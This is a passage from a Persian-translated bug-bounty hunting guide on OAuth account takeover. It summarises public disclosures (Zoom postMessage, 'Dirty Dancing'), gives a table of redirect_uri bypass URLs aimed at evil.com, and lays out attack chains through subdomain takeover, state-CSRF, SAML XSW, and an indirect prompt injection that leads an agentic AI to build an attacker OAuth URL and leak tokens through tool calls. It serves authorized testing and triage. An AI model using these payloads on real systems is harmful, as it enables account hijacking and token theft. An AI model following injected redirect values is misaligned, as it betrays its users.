  • ‏‏Payload: صفحه‌ی مهاجم OAuth مربوط به Zoom را با response_type=code&response_mode=web_message باز می‌کند، postMessage نتیجه را رهگیری می‌کند چون listener پنجره هر origin مربوط به *.zoom.us را می‌پذیرد ← کد را با session تعویض می‌کند
  • ‏علت ریشه‌ای: ترکیب چک origin ضعیف postMessage، نبود binding مربوط به CSRF روی state و response_mode=web_message که کد را به پنجره‌ی والد بدون اعمال origin دقیق برمی‌گرداند
  • ‏افشا: گزارش اکتبر ۲۰۲۳، فیکس ژانویه‌ی ۲۰۲۴، $۱۵٬۰۰۰ باونتی ‏(Sudi / BrunoZero / H4R3L)
  1. ‏Detectify Labs — نشت توکن OAuth چندوendری «Dirty Dancing» ‏(Detectify writeup, F. Rosén)
  • ‏زیرکلاس: تعویض response-type + quirkهای invalid-state + زنجیره‌های گجت JS شخص‌ثالث ← نشت کد/توکن OAuth بدون نیاز به XSS
  • ‏‏Payload: مهاجم response_type=token را روی endpointی که فقط code را اعتبارسنجی می‌کرد تحمیل می‌کند؛ با listenerهای postMessage آزاد و گجت‌های URL-storage روی صفحه‌ی callback ترکیب می‌کند تا توکن‌ها را از طریق خوانده‌های cross-origin بیرون بکشد
  • ‏علت ریشه‌ای: سرور OAuth تحمیل downgrade/swap مربوط به response_type را تحمل می‌کند؛ صفحه‌ی callback مقدار window.location را از طریق گیرنده‌های postMessage متساهل لو می‌دهد
  • ‏افشا: ژوئیه‌ی ۲۰۲۲ — چندوendری (Apple، Microsoft، Slack و غیره)؛ رتبه‌ی ۱ در PortSwigger Top 10 Web Hacks 2022
اسکیل‌های مرتبط:
۱۰

تکنیک‌های Bypass

Browser-parse vs server-parse — redirect_uri prefix-match bypass shapes
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۱

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

نقص prefix-match سمت‌سرور روی redirect_uri برای فرودآوردن کد OAuth روی مهاجم لازم است ولی کافی نیست. قبولی چک سرور یک دروازه است؛ navigate واقعی مرورگر به origin دیگر دروازه‌ی دیگر. رفتارشان متفاوت است. همیشه هر دو را پیش از نوشتن یافته به‌عنوان زنجیره‌ی ← ATO تأیید کن.

validator مربوط به redirect_uri در سرورURL حملهstartswith() سرورhost واقعی مرورگراکسپلویت؟
prefix = https://acme.example (بدون اسلش)https://acme.example@evil.com/cbمی‌گذردevil.com (طبق parsing مربوط به WHATWG — @ جداکننده‌ی userinfo است، پیش از اولین / بعد از ://)بله
prefix = https://acme.example/ (اسلش انتهایی)https://acme.example/@evil.com/cbمی‌گذردacme.example (حالا @ بعد از اولین / است، پس WHATWG آن را کاراکتر path می‌داند)نه — مرورگر روی acme.example می‌ماند
prefix = https://acme.example (تطبیق substring)https://acme.example.evil.com/cbمی‌گذردacme.example.evil.com (توسعه‌ی ساب‌دامین — .evil.com host را extend می‌کند)بله
prefix = https://acme.example/ (اسلش انتهایی، سرور .. را نرمال می‌کند)https://acme.example/../../@evil.com/cbstartswith خام می‌گذردacme.example (سرور path را نرمال می‌کند؛ حتی اگر نکند، مرورگر هم path-نرمال می‌کند)معمولاً نه
prefix = https://acme.example/ (اختصاصی Chromium)https://acme.example/\@evil.com/cbمی‌گذردhost بستگی دارد — Chromium مقدار \ را به / تبدیل می‌کند پس می‌شود https://acme.example//@evil.com/cb و روی acme.example می‌ماندمعمولاً نه

‏قاعده‌ی عملیاتی: parser مربوط به URL در WHATWG (در همه‌ی مرورگرهای مدرن از ۲۰۱۸) parsing مربوط به userinfo را فقط در بخش authority انجام می‌دهد — یعنی پیش از اولین / بعد از ://. وقتی path شروع شد، @ فقط یک کاراکتر است. چک‌های startswith رشته‌ای سمت‌سرور این را مدل نمی‌کنند — URLهایی را می‌پذیرند که مرورگر بعد به host مشروع route می‌کند.

‏همیشه navigation نهایی را headless تست کن (Playwright / Puppeteer / مرورگر واقعی) پیش از نوشتن یافته‌ی OAuth به‌عنوان زنجیره‌ی ATO. قبولی سمت‌سرور + ماندن-سمت-مرورگر-روی-host-مشروع = ATO نیست. تأییدشده‌ی زنده در docs/verification/phase3-playwright-browser-execution.md تست ۲۹.

۱۱

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏‏hunt-subdomain — پرتأثیرترین زنجیره‌ی OAuth به‌تنهایی. primitive زنجیره: validator مربوط به redirect_uri در OAuth هر ساب‌دامین *.target.com را می‌پذیرد + recon نشان می‌دهد dev-staging.target.com به اپ از‌رده‌خارج‌ شده‌ی Heroku/S3/Azure روی CNAME است ← ساب‌دامین hanging را تصاحب کن ← گیرنده‌ی callback مربوط به OAuth رویش میزبانی کن ← /oauth/authorize?redirect_uri=https://dev-staging.target.com/cb بساز ← قربانی کلیک می‌کند ← کد auth روی ساب‌دامین تصاحب‌شده فرود می‌آید ← برای توکن تعویضش کن ← ATO. لیست‌سفید redirect_uri گذشت چون ساب‌دامین «قانوناً» تحت کنترل target.com است.
  • ‏‏hunt-ato — state-CSRF در OAuth primitive کلاسیک ATO-از-طریق-لینک-اکانت است. primitive زنجیره: پارامتر state غایب یا بدون-bind-به-session + قربانی لاگین target.com است + مهاجم فلوی OAuth را از اکانت خودش آغاز و code را پیش از تبادل می‌گیرد + URL مربوط به callback با کد مهاجم را می‌سازد ← قربانی را مجبور به بازدید می‌کند ← session مربوط به target.com قربانی حالا به هویت Google/Facebook مهاجم لینک است ← مهاجم از طریق Google لاگین می‌کند ← مالک اکانت قربانی می‌شود.
  • ‏‏hunt-llm-ai — فلوهای مدرن OAuth برای agentهای AI (پلاگین‌های ChatGPT، سرورهای Claude MCP، copilotهای agentic) از OAuth 2.1 + PKCE استفاده‌ی مجدد می‌کنند. primitive زنجیره: AI مربوط به agentic مقدار redirect_uri را از تزریق-پرامپت-غیرمستقیم در سند می‌پذیرد ← مدل URL مربوط به authorize در OAuth را با callback مهاجم می‌سازد ← کاربر «approve» را می‌زند با این فکر که فلوی خود agent است ← توکن‌ها از طریق tool-use به دامین مهاجم بیرون کشیده می‌شوند.
  • ‏‏hunt-saml — وقتی OAuth روی IdP مربوط به SAML لایه می‌شود، XSW در سطح IdP مسیر ATO مربوط به OAuth می‌شود. primitive زنجیره: SP مربوط به SAML که پس از اعتبارسنجی assertion توکن OAuth صادر می‌کند + حمله‌ی XSW روی assertion مقدار NameID را به کاربر admin تغییر می‌دهد ← SP توکن OAuth با هویت admin صادر می‌کند ← APIهای با scope مربوط به OAuth دسترسی admin می‌دهند.
  • ‏‏security-arsenal — جدول دورزدن redirect_uri در OAuth را بردار (host-confusion مثل legit.com@evil.com، legit.com.evil.com، path-traversal، parameter pollution، encoded-slash مثل %2F، fragment-injection مثل #legit.com) و کاتالوگ زنجیره‌ی open-redirect را برای وقتی که اعتبارسنجی تطبیق-دقیق تو را مجبور می‌کند اول open redirect روی دامین لیست‌سفیدشده پیدا کنی.
  • ‏‏triage-validation — پیش از ادعای Critical روی «open redirect» در OAuth که واقعاً توکنی لو نمی‌دهد (فقط پارامتر state، یا صفحه‌ی callback credentialها را در URL ندارد) دروازه‌ی Pre-Severity را اجرا کن. نشت فقط-state برابر Low است؛ نشت توکن/کد با نمایش موفق تبادل برابر Critical. گام تبادل-کد غیرقابل‌مذاکره است.
مراحل استخراج‌شده
  1. ۱‏‏`hunt-saml` — وقتی OAuth روی IdP مربوط به SAML لایه می‌شود، XSW در سطح IdP مسیر ATO مربوط به OAuth می‌شود. primitive زنجیره: SP مربوط به SAML که پس از اعتبارسنجی assertion توکن OAuth صادر می‌کند + حمله‌ی XSW روی assertion مقدار `NameID` را به کاربر admin تغییر می‌دهد ← SP توکن OAuth با هویت admin صادر می‌کند ← APIهای با scope مربوط به OAuth دسترسی admin می‌دهند.
  2. ۲‏‏`security-arsenal` — جدول دورزدن `redirect_uri` در OAuth را بردار (host-confusion مثل `legit.com@evil.com`، `legit.com.evil.com`، path-traversal، parameter pollution، encoded-slash مثل `%2F`، fragment-injection مثل `#legit.com`) و کاتالوگ زنجیره‌ی open-redirect را برای وقتی که اعتبارسنجی تطبیق-دقیق تو را مجبور می‌کند اول open redirect روی دامین لیست‌سفیدشده پیدا کنی.
  3. ۳‏‏`triage-validation` — پیش از ادعای Critical روی «open redirect» در OAuth که واقعاً توکنی لو نمی‌دهد (فقط پارامتر `state`، یا صفحه‌ی callback credentialها را در URL ندارد) دروازه‌ی Pre-Severity را اجرا کن. نشت فقط-state برابر Low است؛ نشت توکن/کد با نمایش موفق تبادل برابر Critical. گام تبادل-کد غیرقابل‌مذاکره است.